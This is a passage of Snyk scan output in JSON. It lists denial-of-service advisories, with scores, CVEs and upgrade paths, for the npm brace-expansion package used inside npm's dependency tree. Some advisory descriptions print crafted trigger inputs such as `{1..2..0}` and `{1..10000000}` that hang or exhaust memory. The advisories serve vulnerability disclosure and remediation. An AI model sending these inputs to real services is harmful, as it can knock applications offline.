"https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": 